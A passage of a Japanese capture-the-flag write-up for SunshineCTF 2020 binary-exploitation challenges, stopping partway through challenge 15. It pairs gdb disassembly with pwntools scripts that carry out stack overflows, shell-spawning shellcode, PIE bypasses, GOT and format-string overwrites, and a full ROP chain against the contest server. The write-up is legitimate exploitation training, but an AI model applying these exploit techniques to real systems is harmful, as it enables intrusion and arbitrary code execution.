   0x00000000000007c3 <+105>:   ret    
End of assembler dump.

00と同様にrbp-0x4rbp-0x8の値が0xfacadeになっているとシェルが起動する. fgetsは文字数制限があるためgetsで入力する. rbp-0x60からなので0x5c文字か0x58文字後に0xfacadeを置く.

from pwn import *

# p=process('./chall_01')
p=remote('chal.2020.sunshinectf.org',30001)

arg=0xfacade

payload=b''
for i in range(12):
    payload+=p64(arg)

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{eternal-rest-6a5ee49d943a053a}

02 (10 Pts)

gdb-peda$ disas vuln 
Dump of assembler code for function vuln:
   0x08048501 <+0>:     push   ebp
   0x08048502 <+1>:     mov    ebp,esp
   0x08048504 <+3>:     push   ebx
   0x08048505 <+4>:     sub    esp,0x44
   0x08048508 <+7>:     call   0x8048582 <__x86.get_pc_thunk.ax>
   0x0804850d <+12>:    add    eax,0x1af3
   0x08048512 <+17>:    sub    esp,0xc
   0x08048515 <+20>:    lea    edx,[ebp-0x3a]
   0x08048518 <+23>:    push   edx
   0x08048519 <+24>:    mov    ebx,eax
   0x0804851b <+26>:    call   0x8048360 <gets@plt>
   0x08048520 <+31>:    add    esp,0x10
   0x08048523 <+34>:    nop
   0x08048524 <+35>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048527 <+38>:    leave  
   0x08048528 <+39>:    ret    
End of assembler dump.

vuln内のgetsBOFが起きる. リターンアドレスをwinのアドレスに書き換える. offsetは0x3a+0x4=0x3e.

from pwn import *

# p=process('./chall_02')
p=remote('chal.2020.sunshinectf.org',30002)
e=ELF('./chall_02')

payload=b'A'*62
payload+=p64(e.symbols['win'])

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{warmness-on-the-soul-3b6aad1d8bb54732}

03 (18 Pts)

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x000000000000075a <+0>:     push   rbp
   0x000000000000075b <+1>:     mov    rbp,rsp
   0x000000000000075e <+4>:     sub    rsp,0x70
   0x0000000000000762 <+8>:     lea    rax,[rbp-0x70]
   0x0000000000000766 <+12>:    mov    rsi,rax
   0x0000000000000769 <+15>:    lea    rdi,[rip+0xe4]        # 0x854
   0x0000000000000770 <+22>:    mov    eax,0x0
   0x0000000000000775 <+27>:    call   0x610 <printf@plt>
   0x000000000000077a <+32>:    lea    rax,[rbp-0x70]
   0x000000000000077e <+36>:    mov    rdi,rax
   0x0000000000000781 <+39>:    mov    eax,0x0
   0x0000000000000786 <+44>:    call   0x630 <gets@plt>
   0x000000000000078b <+49>:    nop
   0x000000000000078c <+50>:    leave  
   0x000000000000078d <+51>:    ret    
End of assembler dump.

02と同様にvulngetsBOFが起きる. しかしwinがなく, PIEが有効になっている.
2回目の入力の前にアドレスrbp-0x70が表示される. これは2回目の入力の文字が格納されるアドレスと同じ.
NXbitは無効になってるから2回目の入力時にシェルコードを書き込み, リターンアドレスを表示されたアドレスに書き換えるとリターン時にシェルコードが実行される.

from pwn import *

# p=process('./chall_03')
p=remote('chal.2020.sunshinectf.org',30003)
e=ELF('./chall_03')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.recv()
p.sendline()
p.recvuntil(': ')
buf=int(p.recv(14)[2:],16)

payload=shellcode
payload+=b'A'*(120-len(shellcode))
payload+=p64(buf)

p.sendline(payload)
p.interactive()

flag: sun{a-little-piece-of-heaven-26c8795afe7b3c49}

04 (10 Pts)

gdb-peda$ disas vuln 
Dump of assembler code for function vuln:
   0x00000000004005ca <+0>:     push   rbp
   0x00000000004005cb <+1>:     mov    rbp,rsp
   0x00000000004005ce <+4>:     sub    rsp,0x240
   0x00000000004005d5 <+11>:    mov    rdx,QWORD PTR [rip+0x200a64]        # 0x601040 <stdin@@GLIBC_2.2.5>
   0x00000000004005dc <+18>:    lea    rax,[rbp-0x40]
   0x00000000004005e0 <+22>:    mov    esi,0x64
   0x00000000004005e5 <+27>:    mov    rdi,rax
   0x00000000004005e8 <+30>:    call   0x4004c0 <fgets@plt>
   0x00000000004005ed <+35>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004005f1 <+39>:    mov    eax,0x0
   0x00000000004005f6 <+44>:    call   rdx
   0x00000000004005f8 <+46>:    nop
   0x00000000004005f9 <+47>:    leave  
   0x00000000004005fa <+48>:    ret    
End of assembler dump.

2回目の入力が終わるとrdxレジスタの値をcallしてくれる. 直前にrbp-0x8の値がrdxに代入される. 入力がrbp-0x40からに格納されるので0x38(=0x40-0x8)文字後にwinのアドレスを置くとcall時にwinが実行される.

from pwn import *

# p=process('./chall_04')
p=remote('chal.2020.sunshinectf.org',30004)
e=ELF('./chall_04')

payload=b'A'*0x38
payload+=p64(e.symbols['win'])

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{critical-acclaim-96cfde3d068e77bf}

05 (10 Pts)

gdb-peda$ disas vuln 
Dump of assembler code for function vuln:
   0x00000000000007a6 <+0>:     push   rbp
   0x00000000000007a7 <+1>:     mov    rbp,rsp
   0x00000000000007aa <+4>:     sub    rsp,0x240
   0x00000000000007b1 <+11>:    lea    rsi,[rip+0xffffffffffffffb5]        # 0x76d <main>
   0x00000000000007b8 <+18>:    lea    rdi,[rip+0xd4]        # 0x893
   0x00000000000007bf <+25>:    mov    eax,0x0
   0x00000000000007c4 <+30>:    call   0x620 <printf@plt>
   0x00000000000007c9 <+35>:    mov    rdx,QWORD PTR [rip+0x200840]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x00000000000007d0 <+42>:    lea    rax,[rbp-0x40]
   0x00000000000007d4 <+46>:    mov    esi,0x64
   0x00000000000007d9 <+51>:    mov    rdi,rax
   0x00000000000007dc <+54>:    call   0x630 <fgets@plt>
   0x00000000000007e1 <+59>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000000007e5 <+63>:    mov    eax,0x0
   0x00000000000007ea <+68>:    call   rdx
   0x00000000000007ec <+70>:    nop
   0x00000000000007ed <+71>:    leave  
   0x00000000000007ee <+72>:    ret    
End of assembler dump.

04と同様に2回目の入力が終わるとrdxレジスタの値をcallしてくれる. しかし, PIEが有効になっていてwinのアドレスがわからない.
2回目の入力の前にmainのアドレスが表示される. このアドレスからwinのアドレスを計算する. あとは04と同じ.

from pwn import *

# p=process('./chall_05')
p=remote('chal.2020.sunshinectf.org',30005)
e=ELF('./chall_05')

p.recv()
p.sendline()
p.recvuntil(': ')
win=int(p.recv(14)[2:],16)+e.symbols['win']-e.symbols['main']
print(hex(win))

payload=b'A'*0x38
payload+=p64(win)

p.sendline(payload)
p.interactive()

flag: sun{chapter-four-9ca97769b74345b1}

06 (23 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000071a <+0>:     push   rbp
   0x000000000000071b <+1>:     mov    rbp,rsp
   0x000000000000071e <+4>:     sub    rsp,0xd0
   0x0000000000000725 <+11>:    lea    rax,[rbp-0xd0]
   0x000000000000072c <+18>:    mov    rsi,rax
   0x000000000000072f <+21>:    lea    rdi,[rip+0x102]        # 0x838
   0x0000000000000736 <+28>:    mov    eax,0x0
   0x000000000000073b <+33>:    call   0x5e0 <printf@plt>
   0x0000000000000740 <+38>:    mov    rdx,QWORD PTR [rip+0x2008c9]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000747 <+45>:    lea    rax,[rbp-0xd0]
   0x000000000000074e <+52>:    mov    esi,0xc7
   0x0000000000000753 <+57>:    mov    rdi,rax
   0x0000000000000756 <+60>:    call   0x5f0 <fgets@plt>
   0x000000000000075b <+65>:    mov    eax,0x0
   0x0000000000000760 <+70>:    call   0x768 <vuln>
   0x0000000000000765 <+75>:    nop
   0x0000000000000766 <+76>:    leave  
   0x0000000000000767 <+77>:    ret    
End of assembler dump.

1回目の入力の前にアドレスrbp-0xd0が表示される. これは1回目に入力する文字が格納されるアドレスと同じ.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0000000000000768 <+0>:     push   rbp
   0x0000000000000769 <+1>:     mov    rbp,rsp
   0x000000000000076c <+4>:     sub    rsp,0x240
   0x0000000000000773 <+11>:    lea    rdi,[rip+0xe6]        # 0x860
   0x000000000000077a <+18>:    call   0x5d0 <puts@plt>
   0x000000000000077f <+23>:    mov    rdx,QWORD PTR [rip+0x20088a]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000786 <+30>:    lea    rax,[rbp-0x40]
   0x000000000000078a <+34>:    mov    esi,0x64
   0x000000000000078f <+39>:    mov    rdi,rax
   0x0000000000000792 <+42>:    call   0x5f0 <fgets@plt>
   0x0000000000000797 <+47>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000000079b <+51>:    mov    eax,0x0
   0x00000000000007a0 <+56>:    call   rdx
   0x00000000000007a2 <+58>:    nop
   0x00000000000007a3 <+59>:    leave  
   0x00000000000007a4 <+60>:    ret    
End of assembler dump.

04, 05と同様に2回目の入力が終わるとrdxレジスタの値をcallしてくれる.
1回目の入力時にシェルコードを書き込み, rbp-0x8に表示されたアドレスを書き込めばcall時にシェルコードが実行される.

from pwn import *

# p=process('./chall_06')
p=remote('chal.2020.sunshinectf.org',30006)
e=ELF('./chall_06')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.recvuntil(': ')
buf=int(p.recv(14)[2:],16)
p.sendline(shellcode)

payload=b'A'*0x38
payload+=p64(buf)

p.recv()
p.sendline(payload)
p.interactive()

flag: sun{shepherd-of-fire-1a78a8e600bf4492}

07 (26 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000073a <+0>:     push   rbp
   0x000000000000073b <+1>:     mov    rbp,rsp
   0x000000000000073e <+4>:     sub    rsp,0xf0
   0x0000000000000745 <+11>:    mov    rax,QWORD PTR fs:0x28
   0x000000000000074e <+20>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000000752 <+24>:    xor    eax,eax
   0x0000000000000754 <+26>:    lea    rdi,[rip+0xe9]        # 0x844
   0x000000000000075b <+33>:    mov    eax,0x0
   0x0000000000000760 <+38>:    call   0x600 <printf@plt>
   0x0000000000000765 <+43>:    mov    rdx,QWORD PTR [rip+0x2008a4]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x000000000000076c <+50>:    lea    rax,[rbp-0xf0]
   0x0000000000000773 <+57>:    mov    esi,0x13
   0x0000000000000778 <+62>:    mov    rdi,rax
   0x000000000000077b <+65>:    call   0x610 <fgets@plt>
   0x0000000000000780 <+70>:    mov    rdx,QWORD PTR [rip+0x200889]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000787 <+77>:    lea    rax,[rbp-0xd0]
   0x000000000000078e <+84>:    mov    esi,0xc8
   0x0000000000000793 <+89>:    mov    rdi,rax
   0x0000000000000796 <+92>:    call   0x610 <fgets@plt>
   0x000000000000079b <+97>:    lea    rdx,[rbp-0xd0]
   0x00000000000007a2 <+104>:   mov    eax,0x0
   0x00000000000007a7 <+109>:   call   rdx
   0x00000000000007a9 <+111>:   nop
   0x00000000000007aa <+112>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000007ae <+116>:   xor    rax,QWORD PTR fs:0x28
   0x00000000000007b7 <+125>:   je     0x7be <main+132>
   0x00000000000007b9 <+127>:   call   0x5f0 <__stack_chk_fail@plt>
   0x00000000000007be <+132>:   leave  
   0x00000000000007bf <+133>:   ret    
End of assembler dump.

2回目の入力が終わるとrdxレジスタの値をcallしてくれる. 直前に2回目に入力された文字が格納されるアドレスであるrbp-0xd0rdxにロードされるので2回目の入力時にシェルコードを書き込めばcall時に実行される.

from pwn import *

# p=process('./chall_07')
p=remote('chal.2020.sunshinectf.org',30007)
e=ELF('./chall_07')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.sendline()
p.sendline(shellcode)
p.interactive()

flag: sun{sidewinder-a80d0be1840663c4}

08 (37 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000040057a <+0>:     push   rbp
   0x000000000040057b <+1>:     mov    rbp,rsp
   0x000000000040057e <+4>:     sub    rsp,0x10
   0x0000000000400582 <+8>:     lea    rax,[rbp-0x4]
   0x0000000000400586 <+12>:    mov    rsi,rax
   0x0000000000400589 <+15>:    lea    rdi,[rip+0xdc]        # 0x40066c
   0x0000000000400590 <+22>:    mov    eax,0x0
   0x0000000000400595 <+27>:    call   0x400470 <__isoc99_scanf@plt>
   0x000000000040059a <+32>:    lea    rax,[rbp-0x10]
   0x000000000040059e <+36>:    mov    rsi,rax
   0x00000000004005a1 <+39>:    lea    rdi,[rip+0xc7]        # 0x40066f
   0x00000000004005a8 <+46>:    mov    eax,0x0
   0x00000000004005ad <+51>:    call   0x400470 <__isoc99_scanf@plt>
   0x00000000004005b2 <+56>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005b5 <+59>:    mov    rdx,QWORD PTR [rbp-0x10]
   0x00000000004005b9 <+63>:    cdqe   
   0x00000000004005bb <+65>:    lea    rcx,[rax*8+0x0]
   0x00000000004005c3 <+73>:    lea    rax,[rip+0x200476]        # 0x600a40 <target>
   0x00000000004005ca <+80>:    mov    QWORD PTR [rcx+rax*1],rdx
   0x00000000004005ce <+84>:    lea    rdi,[rip+0x9e]        # 0x400673
   0x00000000004005d5 <+91>:    call   0x400450 <puts@plt>
   0x00000000004005da <+96>:    nop
   0x00000000004005db <+97>:    leave  
   0x00000000004005dc <+98>:    ret    
End of assembler dump.

数字を2回入力できる. 1回目の入力をx, 2回目の入力をyとすると

0x00000000004005b2 <+56>:    mov    eax,DWORD PTR [rbp-0x4]         # eax=x
0x00000000004005b5 <+59>:    mov    rdx,QWORD PTR [rbp-0x10]        # rdx=y
0x00000000004005b9 <+63>:    cdqe                                   # rax=x
0x00000000004005bb <+65>:    lea    rcx,[rax*8+0x0]                 # rcx=x*8
0x00000000004005c3 <+73>:    lea    rax,[rip+0x200476]              # rax=0x600a40
0x00000000004005ca <+80>:    mov    QWORD PTR [rcx+rax*1],rdx       # x*8+0x600a40にyを書き込む

main+80でGOT Overwriteができそう. 直後にあるputsのGOTをwinのアドレスに書き換える.
x*8+0x600a40=(putsのGOT), y=(winのアドレス)となるようなx, yを入力するとputs呼び出し時にwinが呼ばれる.

from pwn import *

# p=process('./chall_08')
p=remote('chal.2020.sunshinectf.org',30008)
e=ELF('./chall_08')

p.sendline(str((e.got["puts"]-0x600a40)//8))
p.sendline(str(e.symbols["win"]))
p.interactive()

flag: sun{fiction-fa1a28a3ce2fdd96}

09 (29 Pts)

長いからGhidraでデコンパイル.

void main(void)
{
    size_t sVar1;
    size_t sVar2;
    long in_FS_OFFSET;
    int local_5c;
    byte local_58 [56];
    long local_20;
    
    local_20 = *(long *)(in_FS_OFFSET + 0x28);
    fgets((char *)local_58,0x31,stdin);
    sVar1 = strlen((char *)local_58);
    sVar2 = strlen(key);
    if (sVar1 == sVar2) {
        local_5c = 0;
        while( true ) {
        sVar1 = strlen(key);
        if (sVar1 <= (ulong)(long)local_5c) break;
        if ((local_58[local_5c] ^ 0x30) !=key[local_5c]) {
                        /* WARNING: Subroutine does notreturn */
            exit(0);
        }
        local_5c = local_5c + 1;
        }
        system("/bin/sh");
    }
    if (local_20 != *(long *)(in_FS_OFFSET +0x28)) {
                    /* WARNING: Subroutine does notreturn */
    __stack_chk_fail();
  }
  return ;
}

(入力した文字列)^0x30 = key(="y\027FU\020S_]U\020XUBU\020D_:")となる文字列を入力するとシェルが起動する.
入力する文字列はkey^0x30で求められる.

key="y\027FU\020S_]U\020XUBU\020D_:"
s="".join([chr(ord(c)^0x30) for c in key])
print(s)
$ python3 solve.py 
I've come here to

$ nc chal.2020.sunshinectf.org 30009
I've come here to

ls
chall_09
flag.txt
cat flag.txt
sun{coming-home-4202dcd54b230a00}
exit

flag: sun{coming-home-4202dcd54b230a00}

10 (34 Pts)

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0804850a <+0>:     push   ebp
   0x0804850b <+1>:     mov    ebp,esp
   0x0804850d <+3>:     push   ebx
   0x0804850e <+4>:     sub    esp,0x44
   0x08048511 <+7>:     call   0x804858b <__x86.get_pc_thunk.ax>
   0x08048516 <+12>:    add    eax,0x1aea
   0x0804851b <+17>:    sub    esp,0xc
   0x0804851e <+20>:    lea    edx,[ebp-0x3a]
   0x08048521 <+23>:    push   edx
   0x08048522 <+24>:    mov    ebx,eax
   0x08048524 <+26>:    call   0x8048360 <gets@plt>
   0x08048529 <+31>:    add    esp,0x10
   0x0804852c <+34>:    nop
   0x0804852d <+35>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048530 <+38>:    leave  
   0x08048531 <+39>:    ret    
End of assembler dump.

vuln内のgetsBOFが起きる. リターンアドレスをwinに書き換えてあげればよいがwinに引数チェックがある.

gdb-peda$ disas win
Dump of assembler code for function win:
   0x080484d6 <+0>:     push   ebp
   0x080484d7 <+1>:     mov    ebp,esp
   0x080484d9 <+3>:     push   ebx
   0x080484da <+4>:     sub    esp,0x4
   0x080484dd <+7>:     call   0x804858b <__x86.get_pc_thunk.ax>
   0x080484e2 <+12>:    add    eax,0x1b1e
   0x080484e7 <+17>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x080484ee <+24>:    jne    0x8048504 <win+46>
   0x080484f0 <+26>:    sub    esp,0xc
   0x080484f3 <+29>:    lea    edx,[eax-0x19f0]
   0x080484f9 <+35>:    push   edx
   0x080484fa <+36>:    mov    ebx,eax
   0x080484fc <+38>:    call   0x8048390 <system@plt>
   0x08048501 <+43>:    add    esp,0x10
   0x08048504 <+46>:    nop
   0x08048505 <+47>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048508 <+50>:    leave  
   0x08048509 <+51>:    ret    
End of assembler dump.

第1引数が0xdeadbeefになっていればよい.

from pwn import *

# p=process('./chall_10')
p=remote('chal.2020.sunshinectf.org',30010)
e=ELF('./chall_10')

payload=b'A'*62
payload+=p32(e.symbols["win"])
payload+=b'B'*4
payload+=p32(0xdeadbeef)

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{second-heartbeat-aeaff82332769d0f}

11 (42 Pts)

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x08048511 <+0>:     push   ebp
   0x08048512 <+1>:     mov    ebp,esp
   0x08048514 <+3>:     push   ebx
   0x08048515 <+4>:     sub    esp,0xd4
   0x0804851b <+10>:    call   0x8048420 <__x86.get_pc_thunk.bx>
   0x08048520 <+15>:    add    ebx,0x13e8
   0x08048526 <+21>:    mov    eax,DWORD PTR [ebx-0x4]
   0x0804852c <+27>:    mov    eax,DWORD PTR [eax]
   0x0804852e <+29>:    sub    esp,0x4
   0x08048531 <+32>:    push   eax
   0x08048532 <+33>:    push   0xc7
   0x08048537 <+38>:    lea    eax,[ebp-0xd0]
   0x0804853d <+44>:    push   eax
   0x0804853e <+45>:    call   0x8048380 <fgets@plt>
   0x08048543 <+50>:    add    esp,0x10
   0x08048546 <+53>:    sub    esp,0xc
   0x08048549 <+56>:    lea    eax,[ebp-0xd0]
   0x0804854f <+62>:    push   eax
   0x08048550 <+63>:    call   0x8048360 <printf@plt>
   0x08048555 <+68>:    add    esp,0x10
   0x08048558 <+71>:    mov    eax,DWORD PTR [ebx-0x4]
   0x0804855e <+77>:    mov    eax,DWORD PTR [eax]
   0x08048560 <+79>:    sub    esp,0xc
   0x08048563 <+82>:    push   eax
   0x08048564 <+83>:    call   0x8048370 <fflush@plt>
   0x08048569 <+88>:    add    esp,0x10
   0x0804856c <+91>:    nop
   0x0804856d <+92>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048570 <+95>:    leave  
   0x08048571 <+96>:    ret    
End of assembler dump.

vulnprintfFSBがある.

$ ./chall_11 
So indeed 

AAAA%p,%p,%p,%p,%p,%p,%p
AAAA0xc7,0xf7ed3580,0x8048520,(nil),(nil),0x41414141,0x252c7025

fflushのGOTをwinのアドレスに書き換えると, fflush呼び出し時にwinが呼ばれる.

from pwn import *

# p=process('./chall_11')
p=remote('chal.2020.sunshinectf.org',30011)
e=ELF('./chall_11')

fflush_got=e.got["fflush"]
win=e.symbols["win"]

payload=fmtstr_payload(6,{fflush_got:win})

p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{afterlife-4b74753c2b12949f}

12 (45 Pts)

vulnは11とほぼ同じでprintfFSBがある. しかし, PIEが有効になっていてwinのアドレスがわからない.
実行するとmainのアドレスが表示される. このアドレスからfflushのGOTとwinのアドレスを計算する. あとは11と同様にfflushのGOTをwinのアドレスに書き換える.

from pwn import *

# p=process('./chall_12')
p=remote('chal.2020.sunshinectf.org',30012)
e=ELF('./chall_12')

main=e.symbols["main"]
win=e.symbols["win"]
fflush_got=e.got["fflush"]

p.recvuntil(": ")
leak_main=int(p.recv(14)[2:],16)
win=leak_main+win-main
fflush_got=leak_main+fflush_got-main

payload=fmtstr_payload(6,{fflush_got:win})

p.sendline()
p.sendline(payload)
p.interactive() 

flag: sun{the-stage-351efbcaebfda0d5}

13 (44 Pts)

vulnは10とほぼ同じでgetsBOFが起きる. リターンアドレスをsystemFuncに書き換える.

from pwn import *

# p=process('./chall_13')
p=remote('chal.2020.sunshinectf.org',30013)
e=ELF('./chall_13')

payload=b'A'*62
payload+=p32(e.symbols["systemFunc"])

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{almost-easy-61ddd735cf9053b0}

14 (47 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000400b5d <+0>:     push   rbp
   0x0000000000400b5e <+1>:     mov    rbp,rsp
   0x0000000000400b61 <+4>:     sub    rsp,0x60
   0x0000000000400b65 <+8>:     lea    rdi,[rip+0x9195c]        # 0x4924c8
   0x0000000000400b6c <+15>:    call   0x410890 <puts>
   0x0000000000400b71 <+20>:    mov    rdx,QWORD PTR [rip+0x2b8c30]        # 0x6b97a8 <stdin>
   0x0000000000400b78 <+27>:    lea    rax,[rbp-0x20]
   0x0000000000400b7c <+31>:    mov    esi,0x14
   0x0000000000400b81 <+36>:    mov    rdi,rax
   0x0000000000400b84 <+39>:    call   0x40ffd0 <fgets>
   0x0000000000400b89 <+44>:    lea    rax,[rbp-0x60]
   0x0000000000400b8d <+48>:    mov    rdi,rax
   0x0000000000400b90 <+51>:    mov    eax,0x0
   0x0000000000400b95 <+56>:    call   0x4106e0 <gets>
   0x0000000000400b9a <+61>:    nop
   0x0000000000400b9b <+62>:    leave  
   0x0000000000400b9c <+63>:    ret    
End of assembler dump.

maingetsBOFが起きる.

$ file ./chall_14 
./chall_14: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=2936c7ad85f602a3701fef5df2a870452f6d3499, not stripped

静的リンク.
ROPgadgetでROPChainを組む. リターンアドレスをROPChainに書き換える.

$ ROPgadget --binary ./chall_14 --ropchain
from pwn import *
from struct import pack

# r=process('./chall_14')
r=remote('chal.2020.sunshinectf.org',30014)
e=ELF('./chall_14')

# $ ROPgadget --binary ./chall_14 --ropchain
# Padding goes here
p = b'A'*104

p += pack('<Q', 0x0000000000410263) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004158f4) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410263) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f401) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400696) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x0000000000410263) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449b15) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444e50) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000474890) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040120c) # syscall

r.sendline()
r.sendline(p)
r.interactive()

flag: sun{hail-to-the-king-c24f18e818fb4986}

15 (46 Pts)

長いので一部だけ.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x000000000000071a <+0>:     push   rbp
   0x000000000000071b <+1>:     mov    rbp,rsp
   0x000000000000071e <+4>:     sub    rsp,0x50
   0x0000000000000722 <+8>:     lea    rax,[rbp-0x46]
   0x0000000000000726 <+12>:    mov    rsi,rax
   0x0000000000000729 <+15>:    lea    rdi,[rip+0x158]        # 0x888
   0x0000000000000730 <+22>:    mov    eax,0x0
   0x0000000000000735 <+27>:    call   0x5d0 <printf@plt>

   0x000000000000079c <+130>:   lea    rax,[rbp-0x46]
   0x00000000000007a0 <+134>:   mov    esi,0x5a
   0x00000000000007a5 <+139>:   mov    rdi,rax
   0x00000000000007a8 <+142>:   call   0x5e0 <fgets@plt>
   0x00000000000007ad <+147>:   cmp    DWORD PTR [rbp-0x3c],0xfacade
   0x00000000000007b4 <+154>:   je     0x7c9 <vuln+175>
   0x00000000000007b6 <+156>:   cmp    DWORD PTR [rbp-0x4],0xfacade
   0x00000000000007bd <+163>:   je     0x7c9 <vuln+175>
   0x00000000000007bf <+165>:   mov    edi,0x0
   0x00000000000007c4 <+170>:   call   0x5f0 <exit@plt>
   0x00000000000007c9 <+175>:   nop
   0x00000000000007ca <+176>:   leave  
